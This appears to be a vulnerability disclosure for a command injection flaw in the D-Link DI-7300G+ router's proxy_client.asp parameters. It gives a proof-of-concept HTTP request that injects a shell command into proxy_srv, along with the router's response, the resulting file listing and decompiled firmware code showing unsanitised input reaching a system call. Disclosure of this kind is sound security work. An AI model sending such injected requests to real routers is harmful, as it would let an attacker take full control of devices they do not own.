

Vendor of the products: D-Link

Affected Device: D-Link DI-7300G+

Version: DI-7300G+ V19.12.25A1

Firmware Download: <http://www.dlink.com.cn/techsupport/ProductInfo.aspx?m=DI-7300G%2B>

Vulnerability Description: A command injection vulnerability was discovered in D-Link DI-7300G+ V19.12.25A1, triggered by the proxy_srv, proxy_lanport, proxy_lanip, and proxy_srvport parameters in proxy_client.asp. Attackers can exploit this vulnerability by crafting malicious packets to execute arbitrary commands, thereby achieving full control over the target device.

POC:

Request

Pretty Raw Hex

```
1 GET /proxy_client.asp?proxy_srv=$(ls>/003.txt)&proxy_lanport=
2 &proxy_lanip=&proxy_srvport=&proxy_en=1 HTTP/1.1
3 Host: 192.168.0.1
4 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:139.0)
5 Gecko/20100101 Firefox/139.0
6 Accept:
7 text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0
8 .8
9 Accept-Language:
10 zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
11 Accept-Encoding: gzip, deflate, br
12 Connection: keep-alive
Cookie: wysLanguage=CN; userid=admin; gw_userid=
admin,gw_passwd=FF24E6660F313F459F595084CEA7E305
Upgrade-Insecure-Requests: 1
Priority: u=0, i
```

Vulnerability Effect:

It can be observed that the router receives the request and successfully executes the command.

Response

Pretty Raw Hex Render

```
1 HTTP/1.1 200 OK
2 Server: HTTPD_gw 1.0
3 Content-Length: 136
4 Keep-Alive: timeout=15, max=100
5 Connection: Keep-Alive
6 Pragma: no-cache
7 Cache-Control: no-cache
8 Content-Type: text/html; charset=gb2312
9
10 {proxy_en:'1',proxy_srv:'$(ls>/003.txt)',proxy_srvport:'',pro
   xy_port:'0',proxy_msg:'l_chengxutuichu_l',
   proxy_lanip:'',proxy_lanport:''}
```

```
001.txt      dev      hd      lib      proc      sys
002.txt      etc      hd_share lost+found root      tmp
003.txt      etc_ro  home    media    run       usr
bin          firmadyne init    mnt      sbin     var

/ # ls
001.txt
002.txt
003.txt
bin
dev
etc
etc_ro
firmadyne
hd
hd_share
home
init
lib
lost+found
media
mnt
proc
root
run
sbin
sys
tmp
usr
var
```

Further, the proxy_srv, proxy_lanport, proxy_lanip, and proxy_srvport parameters can all trigger command injection vulnerabilities.

Vulnerability Cause:

The issue resides in the jhttpd component. In jhttpd, the program invokes the sub_46C3F0 function to handle requests related to proxy_client.asp. The program first retrieves user-input parameters proxy_srv, proxy_lanport, proxy_lanip, and proxy_srvport via httpd_get_parm. When these parameters exist and differ from the values stored in NVRAM, it updates the parameter values in the NVRAM configuration.

```
21  parm = httpd_get_parm(a1, "proxy_en");
22  v14 = httpd_get_parm(a1, "proxy_srv");
23  v15 = httpd_get_parm(a1, "proxy_srvport");
24  v16 = httpd_get_parm(a1, "proxy_lanip");
25  v2 = httpd_get_parm(a1, "proxy_lanport");
26  v17 = 0;
27  v3 = httpd_get_parm(a1, "proxy_port");
28  memset(v12, 0, sizeof(v12));
29  if ( parm && !nvram_match_def("proxy_en", parm) )
30  {
31      v17 = 1;
32      nvram_set("proxy_en", parm);
33  }
34  if ( v14 && !nvram_match_def("proxy_srv", v14) )
35  {
36      v17 = 1;
37      nvram_set("proxy_srv", v14);
38  }
39  if ( v15 && !nvram_match_def("proxy_srvport", v15) )
40  {
41      v17 = 1;
42      nvram_set("proxy_srvport", v15);
43  }
44  if ( v16 && !nvram_match_def("proxy_lanip", v16) )
45  {
46      v17 = 1;
47      nvram_set("proxy_lanip", v16);
48  }
49  if ( v2 && !nvram_match_def("proxy_lanport", v2) )
50  {
51      v17 = 1;
52      nvram_set("proxy_lanport", v2);
53  }
54  if ( v3 && !nvram_match_def("proxy_port", v3) )
55  {
56      nvram_set("proxy_port", v3);
57  }
58  else if ( !v17 )
59  {
60      return proxy_client_data(a1);
61  }
62  _1 = (const char *)nvram_get("proxy_pid");
63  if ( !_1 )
64      _1 = "-1";
65  v6 = J_atoi(_1);
66  if ( v6 > 0 )
67  {
68      v18 = v6;
69      memset(v12, 0, sizeof(v12));
0006C824 sub_46C3F0:41 (46C824)
```

When the proxy_en parameter exists and its value is 1, the program retrieves the values of proxy_srv, proxy_lanport, proxy_lanip, and proxy_srvport from NVRAM. These values are concatenated via the sprintf function and directly passed to the system function for execution. Since no security checks are performed during this process, it leads to a command injection vulnerability. Attackers can execute arbitrary commands and fully control the device by constructing malicious parameters.

```

76 v7 = nvram_get("proxy_en");
77 if ( v7 && !strcmp(v7, "1") )
78 {
79     memset(v12, 0, sizeof(v12));
80     def = (const char *)jhl_nv_get_def("proxy_srv");
81     v9 = (const char *)jhl_nv_get_def("proxy_srvport");
82     v10 = (const char *)nvram_get("proxy_lanip");
83     if ( !v10 )
84         v10 = "";
85     v11 = (const char *)nvram_get("proxy_lanport");
86     if ( !v11 )
87         v11 = "";
88     snprintf(
89         v12,
90         1024,
91         "proxy_client \"%s\" \"%s\" \"%s\" \"%s\" \"%s\" \"%s\" \"%s\" \"%s\" &",
92         def,
93         v9,
94         v10,
95         v11,
96         "proxy_port",
97         "proxy_msg",
98         "proxy_pid");
99     jhl_system(v12);
100 }
101 return proxy_client_data(a1);
102 }

```

0006C6D0 sub_46C3F0:76 (46C6D0)